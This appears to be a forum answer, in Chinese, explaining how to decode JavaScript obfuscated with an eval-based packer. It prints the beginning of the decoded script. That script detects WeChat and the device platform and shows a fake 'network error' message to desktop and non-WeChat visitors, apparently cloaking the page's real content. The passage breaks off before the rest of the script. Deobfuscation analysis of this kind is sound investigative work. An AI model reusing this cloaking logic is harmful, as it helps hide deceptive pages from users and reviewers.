eval 里面肯定的结果肯定是一个字符串,你单纯的执行一下里面的函数返回的字符串就是要执行的代码.

不过你复制的代码, function (p, a, c, k, e, r) 这个函数里第一个参数 p 不知道是你复制的问题,还是说在其他代码里有些小 hack ,直接执行的话,因为参数 p 不是个正确的字符串,所以会报错.手动改一下引号就行了.最后执行出的结果是.

a(b)
})(function(a) {
var b = navigator.userAgent.toLowerCase();
var c = navigator.platform.toLowerCase();
var d = document.open("text/html", "replace");
var e = "";
if (!/micromessenger/.test(b) || c.indexOf("win") == 0 || c.indexOf("mac") == 0) {
e = "网络错误，请重新打开！！！"
} else {
